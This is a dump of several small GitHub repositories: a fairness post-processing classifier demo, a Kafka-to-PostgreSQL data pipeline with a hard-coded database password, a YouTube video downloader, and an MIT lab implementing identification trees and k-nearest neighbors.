# Jed's requested plot\n run_time_err()\n\n \n \n\n\n \n\n \n" } ]
4
omarfsosa/separation_blog
https://github.com/omarfsosa/separation_blog
f3d418df94465169e61d3d528deb2f9ca6812efa
25a62b24cb593f6deddca78e5e71bac7db85a715
50505166b77d892005b164623313624981cd8789
refs/heads/master
2020-08-04T05:45:43.847741
2019-10-06T15:01:28
2019-10-06T15:01:28
212,027,189
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6835222244262695, "alphanum_fraction": 0.7236268520355225, "avg_line_length": 33.75757598876953, "blob_id": "e0ad8ce73e88def5d340be724a22031db4a72a25", "content_id": "5d2fd12592f0926ef4bf2c8e699f8f3b06a636c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1147, "license_type": "no_license", "max_line_length": 95, "num_lines": 33, "path": "/example.py", "repo_name": "omarfsosa/separation_blog", "src_encoding": "UTF-8", "text": "from sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\n\n# utils.py and separation_mvp.py are in the repo\nfrom utils import classification_report\nfrom separation_mvp import SeparatedClassifier\n\nurl = \"https://raw.githubusercontent.com/omarfsosa/datasets/master/fairness_synthetic_data.csv\"\ndf = pd.read_csv(url)\n\nX_train, X_test, y_train, y_test, A_train, A_test = train_test_split(\n df.drop(columns=\"y\"), df[\"y\"], df[\"A\"], test_size=0.6, random_state=42\n)\n\nclf = LogisticRegression(solver=\"lbfgs\")\nclf.fit(X_train, y_train)\ny_pred = clf.predict(X_test)\nprint(classification_report(y_test, y_pred, A_test))\n\nR_train = clf.predict_proba(X_train)[:, 1]\nR_test = clf.predict_proba(X_test)[:, 1]\ngoal_tpr, goal_fpr = 0.83591123066577, 0.2639968121139669\n\n\nfair_clf = SeparatedClassifier(y_train, R_train, A_train)\nfair_clf.fit(goal_fpr, goal_tpr)\n\nfor k, v in fair_clf.randomized_thresholds.items():\n print(f\"Group {k}: t0={v[0]:.2f}, t1={v[1]:.2f}, p={v[2]:.2f}\")\n\ny_pred_fair = fair_clf.fair_predict(R_test, A_test)\nprint(classification_report(y_test, y_pred_fair, A_test))\n" }, { "alpha_fraction": 0.7780320644378662, "alphanum_fraction": 0.7986270189285278, "avg_line_length": 86.4000015258789, "blob_id": "ed7f2f11704d7c84b4e7cb1637ed4827259f6858", "content_id": "d3d0f65cf4bae864f0e4721cf3ec5b831c21ef15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 437, "license_type": "no_license", "max_line_length": 217, "num_lines": 5, "path": "/README.md", "repo_name": "omarfsosa/separation_blog", "src_encoding": "UTF-8", "text": "# Post-processing for separation fairness\n\nThis repo shows a minimal example of how the model scores of a classifier can be post-processed in to achieve separation fairness. This code is for purely didactical purposes, written *only* for this specific example.\nThe post-processing algorithm used is that presented by Hardt, Price and Srebro in http://arxiv.org/abs/1610.02413\nThe blog for which this code was written: https://faculty.ai/blog/\n" }, { "alpha_fraction": 0.5726072788238525, "alphanum_fraction": 0.5808581113815308, "avg_line_length": 25.34782600402832, "blob_id": "cf899ea490a9bd794c66d7cb82634a95f952ad5f", "content_id": "508af21664b2f7d7079821fbde4fa19673b81939", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3030, "license_type": "no_license", "max_line_length": 66, "num_lines": 115, "path": "/utils.py", "repo_name": "omarfsosa/separation_blog", "src_encoding": "UTF-8", "text": "import numpy as np\n\n\ndef check_lengths(*arrays):\n \"\"\"\n Check that all arrays have the same lenght.\n\n Parameters\n ----------\n *arrays : list or tuple of input objects.\n Objects that will be checked.\n \"\"\"\n lengths = [len(X) for X in arrays if X is not None]\n uniques = np.unique(lengths)\n if len(uniques) > 1:\n message = \"Input arrays should all be the same length.\"\n raise ValueError(message)\n\n\ndef check_binaries(*arrays):\n \"\"\"\n Check that all values in the arrays are 0s or 1s.\n\n Parameters\n ----------\n *arrays : list or tuple of input objects.\n Objects that will be checked.\n \"\"\"\n values = [set(X) for X in arrays if X is not None]\n all_valid = all(v.issubset({0, 1}) for v in values)\n if not all_valid:\n message = \"Input arrays should only contain 0s and/or 1s.\"\n raise ValueError(message)\n\n\ndef tp_rate(y_true, y_pred) -> float:\n \"\"\"\n True positive rate.\n\n Parameters\n ----------\n y_true : 1d array-like of binaries\n Ground truth (correct) target values.\n\n y_pred : 1d array-like of binaries\n Estimated targets as returned by a classifier.\n \"\"\"\n check_lengths(y_true, y_pred)\n check_binaries(y_true, y_pred)\n y_true = np.array(y_true)\n y_pred = np.array(y_pred)\n if all(y_true == 0):\n return np.nan\n\n rate = (y_true @ y_pred) / (y_true @ y_true)\n return rate\n\n\ndef fp_rate(y_true, y_pred) -> float:\n \"\"\"\n False positive rate.\n\n Parameters\n ----------\n y_true : 1d array-like of binaries\n Ground truth (correct) target values.\n\n y_pred : 1d array-like of binaries\n Estimated targets as returned by a classifier.\n \"\"\"\n check_lengths(y_true, y_pred)\n check_binaries(y_true, y_pred)\n y_false = 1 - np.array(y_true)\n y_pred = np.array(y_pred)\n if all(y_false == 0):\n return np.nan\n\n rate = (y_false @ (y_pred)) / (y_false @ y_false)\n return rate\n\n\ndef classification_report(y_true, y_pred, A) -> str:\n \"\"\"\n String showing the true positive rate and false\n positive rate for each group.\n\n Parameters\n ----------\n y_true : 1d array-like of binaries\n Ground truth (correct) target values.\n\n y_pred : 1d array-like of binaries\n Estimated targets as returned by a classifier.\n\n A: 1d array like\n Labels for the different groups.\n \"\"\"\n check_lengths(y_true, y_pred, A)\n check_binaries(y_true, y_pred)\n groups = np.unique(A)\n header = \"{:<4}{:^6}{:^6}\".format(\"A\", \"TPR\", \"FPR\")\n row_fmt = \"{:<4}{:^6.2f}{:^6.2f}\"\n lines = [header, \"-\" * len(header)]\n for g in groups:\n y_true_g = y_true[A == g]\n y_pred_g = y_pred[A == g]\n tpr_g = tp_rate(y_true_g, y_pred_g)\n fpr_g = fp_rate(y_true_g, y_pred_g)\n lines.append(row_fmt.format(g, tpr_g, fpr_g))\n\n tpr = tp_rate(y_true, y_pred)\n fpr = fp_rate(y_true, y_pred)\n lines.append(row_fmt.format(\"All\", tpr, fpr))\n report = \"\\n\".join(lines)\n return report\n" }, { "alpha_fraction": 0.538922131061554, "alphanum_fraction": 0.5508981943130493, "avg_line_length": 34.32692337036133, "blob_id": "7c84abfd5252f0a34d186da8bcba1f3d63654ac2", "content_id": "c059cc6b381c56b9ff6f6c0880cbf07950e5ce91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1837, "license_type": "no_license", "max_line_length": 82, "num_lines": 52, "path": "/separation_mvp.py", "repo_name": "omarfsosa/separation_blog", "src_encoding": "UTF-8", "text": "from scipy.optimize import minimize\nfrom sklearn.metrics import roc_curve\nimport numpy as np\n\nfrom utils import check_lengths, check_binaries\n\n\nclass SeparatedClassifier:\n def __init__(self, y_train, R_train, A_train):\n check_lengths(y_train, R_train, A_train)\n check_binaries(y_train)\n self.y_train = np.array(y_train)\n self.R_train = np.array(R_train)\n self.A_train = np.array(A_train)\n\n def fit(self, goal_fpr, goal_tpr):\n groups = np.unique(self.A_train)\n self.randomized_thresholds = dict()\n for g in groups:\n y_true_g = self.y_train[self.A_train == g]\n R_g = self.R_train[self.A_train == g]\n self.randomized_thresholds[g] = self._find_thresholds_and_probas(\n y_true_g, R_g, goal_fpr, goal_tpr\n )\n\n def fair_predict(self, R_test, A_test):\n groups = np.unique(A_test)\n y_pred = []\n for r, g in zip(R_test, A_test):\n *a, p = self.randomized_thresholds[g]\n t = np.random.choice(a, p=[1 - p, p])\n y_pred.append(1 if r >= t else 0)\n\n return np.array(y_pred)\n\n def _find_thresholds_and_probas(self, y_true, scores, goal_fpr, goal_tpr):\n fpr, tpr, thresholds = roc_curve(y_true, scores, drop_intermediate=False)\n\n def distance(d3array):\n t0, t1, p = d3array\n i = np.argmin(abs(t0 - thresholds))\n j = np.argmin(abs(t1 - thresholds))\n x = fpr[i] + p * (fpr[j] - fpr[i])\n y = tpr[i] + p * (tpr[j] - tpr[i])\n return np.hypot(x - goal_fpr, y - goal_tpr)\n\n initial_guess = np.array([0.3, 0.5, 0.5])\n res = minimize(\n distance, initial_guess, method=\"nelder-mead\", options={\"xtol\": 1e-10}\n )\n t0, t1, p = res[\"x\"]\n return t0, t1, p\n" } ]
4
dongqvic/insight
https://github.com/dongqvic/insight
7068b41a3393a2984d527d71520a0fddf14e9743
a05cae881ea64bd30f5aaa7c9ad2be7b4428f998
1c031967a6f6d72526f6914df591892b4e69cbfa
refs/heads/master
2020-03-24T08:44:03.029587
2018-09-01T04:15:32
2018-09-01T04:15:32
142,605,699
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.2732240557670593, "alphanum_fraction": 0.2732240557670593, "avg_line_length": 29.5, "blob_id": "2639f4e6837ea68ab67de3965a280d9654eee980", "content_id": "2fbb7161436afafe7f7918507368d3eb113ef37a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 183, "license_type": "no_license", "max_line_length": 55, "num_lines": 6, "path": "/consume_run.sh", "repo_name": "dongqvic/insight", "src_encoding": "UTF-8", "text": "#######################################################\n# This is the bash script to run consumer.py #\n#######################################################\n\n\npython consumer.py\n" }, { "alpha_fraction": 0.782608687877655, "alphanum_fraction": 0.7916224598884583, "avg_line_length": 57.90625, "blob_id": "a82bd710713946182038012cc21a93b3624635e7", "content_id": "206941e6ce2f87f37b80797270c7cdbd625858c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1886, "license_type": "no_license", "max_line_length": 384, "num_lines": 32, "path": "/README.md", "repo_name": "dongqvic/insight", "src_encoding": "UTF-8", "text": "# oltp_olap_monitoring: Monitoring a real-time OLTP to OLAP data pipeline\n\n# Business Cases:\nImagining an e-commerce website like Amazon, Spring, eBay storing everything in one databse, eg PostgreSQL for faster transaction purposes(Read/Write). During BlackFriday, customers who want search gifts are sending queries to PostgreSQL database while Data scientists who wanna predict real-time shopping trends also sending queries to the database. HIGH Stress to the OLTP database!\n\n# Solution:\nSyncronizing OLTP database(eg.PostgreSQL) with OLAP database(Amazon Redshift) in real-time and make sure the health condition of the pipeline by setting up monitoring system.\n\n# Architecture: Basic: Kafka --> PostgreSQL --> kafka --> Redshift\n\n# Solution steps:\n\n1. Dataset: Amazon Review Dataset in .json.gz, stored in S3\n - Schema: reviewID, asin(productID), reviewerName, reviewText, helpful, overallrating, reviewTime\n\n2. Set up 2 databases: PostgreSQL and Redshift, host them with EC2 x 2 ( 1 master, 1 worker).\n\n3. Host 2 kafka with EC2 x 2.\n\n4. Monitor the overall health of the system, visualize the monitoring results. \nIncluding:\n- Kafka: server, producer, consumer, broker, zookeeper\n- EC2 server behavior(Cloudwatch) [set up alert]\n- PostgreSQL: Read&Write query throughput and performance, replication, resource utilization\n- Redshift: query/time, query/wait/time, segment/scan/pending, query/success/count, query/failed/count\n\n5. Analysis the failure scenarios of the data pipeline, auto-recovery if possible.\nPossible failure scenarios & Auto-recovery:\n- EC2 hosting PostgreSQL down ( using Airflow to scheduling batch processing for datastreams during down time)\n- Kafka streams fail(Implementing a resilient Kafka cluster) : All/parts clusters are down\n\n6. Aggregate the metrics data (also real-time) from Prometheus and Cloudwatch on Graphana, do analytics and visualization.\n\n" }, { "alpha_fraction": 0.27173912525177, "alphanum_fraction": 0.27173912525177, "avg_line_length": 29.5, "blob_id": "f855246575034c51701dbb6a918273ac0add4b6b", "content_id": "c54b3a971eb9dc5e7268ecd1199084dae3a24cac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 184, "license_type": "no_license", "max_line_length": 55, "num_lines": 6, "path": "/produce_run.sh", "repo_name": "dongqvic/insight", "src_encoding": "UTF-8", "text": "#######################################################\n# This is the bash script to run producer.py #\n#######################################################\n\n\npython producer.py \n" }, { "alpha_fraction": 0.6229205131530762, "alphanum_fraction": 0.6524953842163086, "avg_line_length": 26.508474349975586, "blob_id": "fbb5ca107fa95fb42980d8d7904034d47d6f69d0", "content_id": "52b33fb0e170b344bc80e0df03307ed202c808e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1623, "license_type": "no_license", "max_line_length": 175, "num_lines": 59, "path": "/consumer.py", "repo_name": "dongqvic/insight", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport sys\nimport json\nimport os\nimport time\nimport datetime\nimport random\nfrom kafka import KafkaConsumer\nimport psycopg2\n\nKAFKA_TOPIC = 'producer'\nKAFKA_BROKERS = [\"34.216.43.1:9092\",\"52.27.206.120:9092\",\"54.244.196.222:9092\"]\nconn = psycopg2.connect(database='postgres_rds', user = 'postgres_master',password = 'postgres',host = 'postgres-rds.cbgshh8oysg5.us-west-2.rds.amazonaws.com', port='5432')\n\nconsumer = KafkaConsumer(KAFKA_TOPIC, bootstrap_servers=KAFKA_BROKERS,\n auto_offset_reset='earliest')\n# Create a table with \ncur = conn.cursor()\ncur.execute(\n\"\"\"CREATE TABLE review ( \\\nreviewerID text, asin text, reviewerName text, helpful text, \\\nreviewerText text, overall text, summary text, unixReviewerTime text, reviewTime text)\\\n;\"\"\")\n\n# The table is with schema fields\nfields = [\n 'reviewerID',\n 'asin',\n 'reviewerName',\n 'helpful',\n 'reviewText',\n 'overall',\n 'summary',\n 'unixReviewTime',\n 'reviewTime'\n]\n\ntry:\n for message in consumer:\n print(type(message))\n print(message)\n\n msg = message.value.decode('utf-8')\n print (type(msg))\n print (msg)\n\n #msg_up = json.loads(msg)\n #print(type(msg_up))\n #print(msg_up)\n for i in msg:\n my_data = [i[field] for field in fields]\n cur.execute(\"INSERT INTO review VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s);\", (reviewerID,asin,reviewerName,helpful,reviewText,overall,summary,unixReviewTime,reviewTime))\n # commit changes\n conn.commit()\n # Close the connection\n conn.close()\nexcept:\n pass\n" }, { "alpha_fraction": 0.48266372084617615, "alphanum_fraction": 0.5156852006912231, "avg_line_length": 36.85416793823242, "blob_id": "382ddb421cddee04e781054f63fbae2532703c1f", "content_id": "4500e72839cfe4e9786bd370d40e06234ebefc14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1817, "license_type": "no_license", "max_line_length": 107, "num_lines": 48, "path": "/producer.py", "repo_name": "dongqvic/insight", "src_encoding": "UTF-8", "text": "import boto3\nimport botocore\nimport time\nimport threading, logging, time\nfrom kafka import KafkaProducer\nimport smart_open\nimport json\n\nclass Producer(threading.Thread):\n daemon = True\n\n def run(self):\n producer = KafkaProducer(\n bootstrap_servers=[\"34.216.43.1:9092\",\"52.27.206.120:9092\",\"54.244.196.222:9092\"],\n key_serializer=lambda m: m.encode('utf8'),\n value_serializer=lambda m: json.dumps(m).encode('utf8'),\n ) # Broker servers \n bucket_name=\"reviews-data-insight\" # define the bucket name on s3\n bucket = self.read_s3(bucket_name) # read messgaes from s3 buckets\n for json_obj in bucket.objects.all():\n json_file = \"s3://{0}/{1}\".format(bucket_name, json_obj.key)\n for msg in smart_open.smart_open(json_file, encoding='utf8' ):\n #ts = time.time()\n #json_str = json.dumps({'message':msg,'timestamp':ts})\n # print(msg)\n producer.send(\"producer\", json.dumps(msg)) # define topic name\n\t\t\tproducer.flush()\n print(msg)\n\n def read_s3(self,bucket_name):\n s3 = boto3.resource('s3')\n\n try:\n s3.meta.client.head_bucket(Bucket=bucket_name)\n except botocore.exceptions.ClientError as e:\n return None\n else:\n return s3.Bucket(bucket_name)\n\ndef main():\n producer = Producer()\n producer.daemon = True\n producer.start()\n while True:\n time.sleep(0.00002) # read from producer every __ seconds\n\nif __name__ == \"__main__\":\n main()\n" } ]
5
Arios9/Video-Downloader
https://github.com/Arios9/Video-Downloader
3e7a922657066629cb66609823e4f016e110d85f
b69bb2f39a26e17527c5a523120655e8a612ac01
33df01c8e732f6af8cf9255cabfee7c3babd6387
refs/heads/main
2023-08-30T07:04:02.834446
2021-10-26T13:04:31
2021-10-26T13:04:31
417,664,623
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7563989162445068, "alphanum_fraction": 0.761694610118866, "avg_line_length": 34.375, "blob_id": "7aebc28bc542b79daf5ad0cd0b1fd2dc09dd3463", "content_id": "4b36604b645ae8ece53828c2109d44d80f90568b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1133, "license_type": "no_license", "max_line_length": 73, "num_lines": 32, "path": "/search.py", "repo_name": "Arios9/Video-Downloader", "src_encoding": "UTF-8", "text": "\nimport re\nfrom bs4 import BeautifulSoup\nimport urllib.parse\nfrom pytube import YouTube\nimport os\nfrom pathlib import Path\nfrom selenium import webdriver\n\nyoutubeSearchUrl = \"https://www.youtube.com/results?search_query=\"\nwebdriverPath = \"C:\\chromedriver_win32\\chromedriver.exe\"\nyoutubeUrl = \"https://www.youtube.com\"\nsearchText = str(input(\"Search \"))\nsearchTextEncoded = urllib.parse.quote(searchText)\nsearchResultsUrl = youtubeSearchUrl + searchTextEncoded\noptions = webdriver.ChromeOptions()\noptions.add_argument('--headless')\ndriver = webdriver.Chrome(webdriverPath, options=options)\ndriver.get(searchResultsUrl)\nhtml = driver.page_source\ndriver.quit()\nsoup = BeautifulSoup(html, 'html.parser')\nlink = soup.find(href=re.compile(re.escape(\"/watch?v=\")), id=\"thumbnail\")\nyoutubeVideoUrl = youtubeUrl + link['href']\ntry:\n yt = YouTube(youtubeVideoUrl)\n stream = yt.streams.get_by_itag(18)\n downloadPath = os.path.join(Path.home(), \"Downloads\")\n fileName = yt.title+'.mp4'\n stream.download(output_path=downloadPath, filename=fileName)\n os.startfile(os.path.join(downloadPath, fileName))\nexcept:\n print(\"Error\")\n" }, { "alpha_fraction": 0.8115941882133484, "alphanum_fraction": 0.8115941882133484, "avg_line_length": 22, "blob_id": "2864b88c8cdb7548c66ca2c022539c996442f1ce", "content_id": "5250b0e062284e664106fb22e8c8a20fac3bbd60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 69, "license_type": "no_license", "max_line_length": 48, "num_lines": 3, "path": "/README.md", "repo_name": "Arios9/Video-Downloader", "src_encoding": "UTF-8", "text": "# Video-Downloader\n\nDownload a video from Youtube by typing keywords\n" } ]
2
malonaz/k-nearest-neighbors
https://github.com/malonaz/k-nearest-neighbors
c0e4d36ad3f5115ce10d0168ae76fa46edbc073d
6da2e1c391b282ae7f7cc2f6834b7a0e59794643
1dd70c63ad7d8a52244c97c9a939676c757385f0
refs/heads/master
2021-08-24T07:59:42.817355
2017-12-08T19:02:33
2017-12-08T19:02:33
113,607,631
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8129032254219055, "alphanum_fraction": 0.8129032254219055, "avg_line_length": 37.5, "blob_id": "5720edf6a308b4503dfcb038023b2ad59afe9d30", "content_id": "5d833e44d275bb8abc7fa68030139a2a98aef352", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 155, "license_type": "no_license", "max_line_length": 65, "num_lines": 4, "path": "/readme.txt", "repo_name": "malonaz/k-nearest-neighbors", "src_encoding": "UTF-8", "text": "MIT Introduction to Artifical Intelligence Lab\n\nConstructs new ID trees from raw data. \nUses k-nearest neighbors % cross-validatation to classify points.\n\n" }, { "alpha_fraction": 0.6467043161392212, "alphanum_fraction": 0.6607415080070496, "avg_line_length": 37.66666793823242, "blob_id": "92a09ed9d0282db54bcbd9e5198209d886825017", "content_id": "7f10af38b5b059a9d5f9a0b771a9299e5cb5e462", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13108, "license_type": "no_license", "max_line_length": 156, "num_lines": 339, "path": "/lab5.py", "repo_name": "malonaz/k-nearest-neighbors", "src_encoding": "UTF-8", "text": "# MIT 6.034 Lab 5: k-Nearest Neighbors and Identification Trees\n# Written by Jessica Noss (jmn), Dylan Holmes (dxh), and Jake Barnwell (jb16)\nfrom parse import *\nfrom api import *\nfrom data import *\nimport math\nlog2 = lambda x: math.log(x, 2)\nINF = float('inf')\n\n################################################################################\n############################# IDENTIFICATION TREES #############################\n################################################################################\n\ndef id_tree_classify_point(point, id_tree):\n \"\"\"Uses the input ID tree (an IdentificationTreeNode) to classify the point.\n Returns the point's classification.\"\"\"\n current_node = id_tree\n\n while not current_node.is_leaf():\n current_node = current_node.apply_classifier(point)\n return current_node.get_node_classification()\n\ndef split_on_classifier(data, classifier):\n \"\"\"Given a set of data (as a list of points) and a Classifier object, uses\n the classifier to partition the data. Returns a dict mapping each feature\n values to a list of points that have that value.\"\"\"\n split_data = {}\n\n for datum in data:\n add_or_increment_dict(split_data, classifier.classify(datum), datum)\n return split_data\n\ndef add_or_increment_dict(dictionary,key,datum):\n \"\"\"Given a dictionary, a key and a datum:\n if key is not in dictionary ==> maps key to list containing datum\n else ==> appends datum to key's existing data list.\"\"\"\n if key in dictionary:\n dictionary[key].append(datum)\n else:\n dictionary[key] = [datum]\n \n#### CALCULATING DISORDER\n\ndef branch_disorder(data, target_classifier):\n \"\"\"Given a list of points representing a single branch and a Classifier\n for determining the true classification of each point, computes and returns\n the disorder of the branch.\"\"\"\n\n n_b = float(len(data))\n split_data = split_on_classifier(data,target_classifier)\n \n disorder = 0\n for key in split_data:\n n_bc = len(split_data[key])\n disorder += (-n_bc/n_b)* log2(n_bc/n_b)\n return disorder\n\n\n\ndef average_test_disorder(data, test_classifier, target_classifier):\n \"\"\"Given a list of points, a feature-test Classifier, and a Classifier\n for determining the true classification of each point, computes and returns\n the disorder of the feature-test stump.\"\"\"\n n_t = len(data)\n \n split_data = split_on_classifier(data,test_classifier)\n avg_disorder = 0\n for key in split_data:\n n_b = float(len(split_data[key]))\n avg_disorder += (n_b/n_t) * branch_disorder(split_data[key], target_classifier)\n\n return avg_disorder\n\n## To use your functions to solve part A2 of the \"Identification of Trees\"\n## problem from 2014 Q2, uncomment the lines below and run lab5.py:\nfor classifier in tree_classifiers:\n print classifier.name, average_test_disorder(tree_data, classifier, feature_test(\"tree_type\"))\n\n\n#### CONSTRUCTING AN ID TREE\n\ndef find_best_classifier(data, possible_classifiers, target_classifier):\n \"\"\"Given a list of points, a list of possible Classifiers to use as tests,\n and a Classifier for determining the true classification of each point,\n finds and returns the classifier with the lowest disorder. Breaks ties by\n preferring classifiers that appear earlier in the list. If the best\n classifier has only one branch, raises NoGoodClassifiersError.\"\"\"\n #avg_disorder = [(possible_classifier,average_test_disorder(data,possible_classifier,target_classifier) for possible_classifier in possible_classifiers]\n min_disorder_classifier = min(possible_classifiers, key = lambda possible_classifier:\\\n average_test_disorder(data,possible_classifier,target_classifier))\n if len(split_on_classifier(data,min_disorder_classifier)) >1:\n return min_disorder_classifier\n raise NoGoodClassifiersError\n \n \n## To find the best classifier from 2014 Q2, Part A, uncomment:\nprint find_best_classifier(tree_data, tree_classifiers, feature_test(\"tree_type\"))\n\n\ndef construct_greedy_id_tree(data, possible_classifiers, target_classifier, id_tree_node=None):\n \"\"\"Given a list of points, a list of possible Classifiers to use as tests,\n a Classifier for determining the true classification of each point, and\n optionally a partially completed ID tree, returns a completed ID tree by\n adding classifiers and classifications until either perfect classification\n has been achieved, or there are no good classifiers left.\"\"\"\n if id_tree_node is None:\n id_tree_node = IdentificationTreeNode(target_classifier)\n\n target_classified_data = split_on_classifier(data,target_classifier)\n\n if len(target_classified_data) == 1:\n #print target_classifier\n id_tree_node.set_node_classification(data[0][target_classifier.name])\n\n else:\n if len(possible_classifiers) >0:\n try:\n min_classifier = find_best_classifier(data, possible_classifiers, target_classifier)\n possible_classifiers.remove(min_classifier)\n classified_data = split_on_classifier(data,min_classifier)\n\n id_tree_node.set_classifier_and_expand(min_classifier,classified_data)\n \n for branch_name in id_tree_node.get_branches():\n construct_greedy_id_tree(classified_data[branch_name],\\\n possible_classifiers[:],\\\n target_classifier,\\\n id_tree_node.get_branches()[branch_name]) \n\n except NoGoodClassifiersError:\n pass\n \n return id_tree_node\n \n\n \n\n#Optional: Construct and ID tree with real medical data\n#tree_medical = construct_greedy_id_tree(heart_training_data, heart_classifiers,heart_target_classifier_binary)\n\n\ntest_patient = {\\\n 'Age': 20, #int\n 'Sex': 'F', #M or F\n 'Chest pain type': 'asymptomatic', #typical angina, atypical angina, non-anginal pain, or asymptomatic\n 'Resting blood pressure': 100, #int\n 'Cholesterol level': 120, #int\n 'Is fasting blood sugar < 120 mg/dl': 'Yes', #Yes or No\n 'Resting EKG type': 'normal', #normal, wave abnormality, or ventricular hypertrophy\n 'Maximum heart rate': 150, #int\n 'Does exercise cause chest pain?': 'No', #Yes or No\n 'ST depression induced by exercise': 0, #int\n 'Slope type': 'flat', #up, flat, or down\n '# of vessels colored': 0, #float or '?'\n 'Thal type': 'normal', #normal, fixed defect, reversible defect, or unknown\n}\n# uncomment the line to see the tree\n#tree_medical.print_with_data([test_patient])\n \n\n\n\n## To construct an ID tree for 2014 Q2, Part A:\n\n#print construct_greedy_id_tree(tree_data, tree_classifiers, feature_test(\"tree_type\"))\n\n## To use your ID tree to identify a mystery tree (2014 Q2, Part A4):\n#tree_tree = construct_greedy_id_tree(tree_data, tree_classifiers, feature_test(\"tree_type\"))\n#print id_tree_classify_point(tree_test_point, tree_tree)\n\n## To construct an ID tree for 2012 Q2 (Angels) or 2013 Q3 (numeric ID trees):\n#print construct_greedy_id_tree(angel_data, angel_classifiers, feature_test(\"Classification\"))\n#print construct_greedy_id_tree(numeric_data, numeric_classifiers, feature_test(\"class\"))\n\n#### MULTIPLE CHOICE\n\nANSWER_1 = \"bark_texture\"\nANSWER_2 = \"leaf_shape\"\nANSWER_3 = \"orange_foliage\"\n\n\n#for datum in binary_data:\n# print(datum, id_tree_classify_point(datum,binary_tree_3))\n\nANSWER_4 = [2,3]\nANSWER_5 = [3]\nANSWER_6 = [2]\nANSWER_7 = 2\n\nANSWER_8 = \"No\"\nANSWER_9 = \"No\"\n\n\n################################################################################\n############################# k-NEAREST NEIGHBORS ##############################\n################################################################################\n\n#### MULTIPLE CHOICE: DRAWING BOUNDARIES\n\nBOUNDARY_ANS_1 = 3\nBOUNDARY_ANS_2 = 4\n\nBOUNDARY_ANS_3 = 1\nBOUNDARY_ANS_4 = 2\n\nBOUNDARY_ANS_5 = 2\nBOUNDARY_ANS_6 = 4\nBOUNDARY_ANS_7 = 1\nBOUNDARY_ANS_8 = 4\nBOUNDARY_ANS_9 = 4\n\nBOUNDARY_ANS_10 = 4\nBOUNDARY_ANS_11 = 2\nBOUNDARY_ANS_12 = 1\nBOUNDARY_ANS_13 = 4\nBOUNDARY_ANS_14 = 4\n\n\n#### WARM-UP: DISTANCE METRICS\n\ndef dot_product(u, v):\n \"\"\"Computes dot product of two vectors u and v, each represented as a tuple\n or list of coordinates. Assume the two vectors are the same length.\"\"\"\n dot_product = 0\n for i in range(len(u)):\n dot_product += u[i]*v[i]\n return dot_product\n \ndef norm(v):\n \"Computes length of a vector v, represented as a tuple or list of coords.\"\n return math.sqrt(dot_product(v,v))\n\n\ndef euclidean_distance(point1, point2):\n \"Given two Points, computes and returns the Euclidean distance between them.\"\n return norm([u1-v1 for (u1,v1) in zip(point1,point2)])\n\n \ndef manhattan_distance(point1, point2):\n \"Given two Points, computes and returns the Manhattan distance between them.\"\n return sum([abs(u1-v1) for (u1,v1) in zip(point1,point2)])\n\n\ndef hamming_distance(point1, point2):\n \"Given two Points, computes and returns the Hamming distance between them.\"\n return len([1 for (u1,v1) in zip(point1,point2) if u1!=v1])\n\ndef cosine_distance(point1, point2):\n \"\"\"Given two Points, computes and returns the cosine distance between them,\n where cosine distance is defined as 1-cos(angle_between(point1, point2)).\"\"\"\n return 1 - (dot_product(point1.coords,point2.coords)/(norm(point1.coords)*norm(point2.coords)))\n\n#### CLASSIFYING POINTS\n\ndef get_k_closest_points(point, data, k, distance_metric):\n \"\"\"Given a test point, a list of points (the data), an int 0 < k <= len(data),\n and a distance metric (a function), returns a list containing the k points\n from the data that are closest to the test point, according to the distance\n metric. Breaks ties lexicographically by coordinates.\"\"\"\n distance_point_to_each_datum = [(datum,distance_metric(point,datum)) for datum in data]\n distance_point_to_each_datum.sort(key = lambda (datum,distance): datum.coords)\n distance_point_to_each_datum.sort(key = lambda (datum,distance): distance)\n return map(lambda (datum,distance): datum, distance_point_to_each_datum)[:k]\n\n \ndef knn_classify_point(point, data, k, distance_metric):\n \"\"\"Given a test point, a list of points (the data), an int 0 < k <= len(data),\n and a distance metric (a function), returns the classification of the test\n point based on its k nearest neighbors, as determined by the distance metric.\n Assumes there are no ties.\"\"\"\n k_neighbors = get_k_closest_points(point,data,k,distance_metric)\n k_neighbors_class = [datum.classification for datum in k_neighbors]\n unique_classes = set(k_neighbors_class)\n return max([(unique_class,k_neighbors_class.count(unique_class)) for unique_class in unique_classes],\\\n key = lambda (clss, count): count)[0]\n\n\n\n## To run your classify function on the k-nearest neighbors problem from 2014 Q2\n## part B2, uncomment the line below and try different values of k:\n#print knn_classify_point(knn_tree_test_point, knn_tree_data, 5, euclidean_distance)\n\n\n#### CHOOSING k\n\ndef cross_validate(data, k, distance_metric):\n \"\"\"Given a list of points (the data), an int 0 < k <= len(data), and a\n distance metric (a function), performs leave-one-out cross-validation.\n Return the fraction of points classified correctly, as a float.\"\"\"\n good_classifications = 0\n for datum in data:\n train_data = data[:]\n train_data.remove(datum)\n test_data = datum\n test_class = knn_classify_point(test_data, train_data,k,distance_metric)\n if test_class == datum.classification:\n good_classifications +=1\n\n return float(good_classifications)/float(len(data))\n \ndef find_best_k_and_metric(data):\n \"\"\"Given a list of points (the data), uses leave-one-out cross-validation to\n determine the best value of k and distance_metric, choosing from among the\n four distance metrics defined above. 